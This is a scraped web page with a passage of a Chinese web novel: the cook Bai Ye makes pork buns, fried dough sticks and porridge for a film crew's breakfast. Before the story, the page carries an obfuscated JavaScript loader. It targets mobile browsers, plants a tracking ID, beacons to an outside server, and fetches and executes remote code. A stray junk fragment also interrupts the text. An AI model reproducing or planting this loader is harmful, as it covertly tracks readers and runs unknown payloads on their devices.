足迹
果果不一样
登录
关灯
护眼
字体:

第103章 解锁新模块(第2页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

索性从楼上下来,和了面,放在食格的温水里帮助快速发酵。

另一边,则是拿出猪肉化冻,准备化冻了一会儿做馅。

准备好这一些,白叶才去洗漱。

等他洗漱完毕,打算刷一会儿手机,才发现上面有一条信息。

是江浩昨天晚上发的,说拍夜戏不回去。

“原来这小子昨天没回来啊!”白叶嘟囔了一句,给江浩回了一条过去。

没想到江浩立马就打了回来。

“我去,白叶,你现在才回我?别告诉我你现在刚看到!”江浩在电话那头不满地说道。

“昨天睡得早。”白叶打了个哈哈。“你啥时候收工啊?我早上准备蒸小包子,炸大果子。”

“这么丰盛!要要要!不过我要八点才能收工呢,今天收工了休……”江浩那边有人和他说了两句,电话就被人接手了。

电话那头传来了赵桐虎的声音,“小白,早饭能不能给我们准备一份,今天的中午饭就不做了,一会儿全部回去补觉。”ique.iz

“这样……”白叶想了一下,“你们八点收工的话,方便来我店里吃么?大果子还是现炸……”

“当然没问题了!”赵桐虎毫不犹豫地说道,“我们早就想去你那边看看了。”

“那就这么说好了。”白叶挂了电话赶紧忙碌了起来。

之前的面肯定是不够用了。

不过里面的面发的正合适,白叶索性先和了一大块面,放进去继续发酵。然后将调好肉馅,先给自己蒸了一锅小包子。

吃饱了才能有力气干活不是!

看看表,现在是早上五点半,白叶又去熬了一锅小碴子粥。

这小碴子还是他和江浩从老家出来的时候,他妈姜兰给他装上的,平时因为没时间,他们也很少吃。

另外还有一袋大碴子,回头有机会再吃。

面在七点左右已经发好了,白叶开始忙活着蒸包子。

虽然说小笼包精致可爱,但是要做三十人份的早饭,精致两个字可以暂时抛到脑后,还是好吃管饱最重要。

猪肉大葱馅的大包子,因为昨天晚上被系统教学集训了调味,白叶现在进步不少。

早上那一笼,主要也是看看自己现在有什么具体的变化。

变化很大,原来各种调料多一分少一分,彼此综合出的味道竟然能有这么大的变化。

而且这调料的增减,完全是没有固定数量的。

中餐确实很难像西餐那样表达出多少克,多少盎司。

用的词全是少许、适量等等。

为什么?

就是因为食物的品质不同,在烹制过程中产生的变化也有细微不同。

作为一名厨师,就是要根据食材的变化来增减调味。而不是全都一样的做法。

否则和人工智能的炒菜机器人有什么区别。

七点四十,白叶将最后一个包子放到蒸笼里,点火。

同时,将料理台旁边的不锈钢案面清洗干净擦干,再抹上一层油,开始准备大果子。

其实这也不用准备什么,不过就是将发好的面倒出来,再切成大小合适的手指长两指宽的条。等到油锅热了之后开始炸。

之前三百人份他都能准备的妥当,更不要说现在了,这一锅一次就能炸十几根的。

小碴子粥关火,猪肉大葱的包子已经熟了,七点五十,白叶开始炸大果子。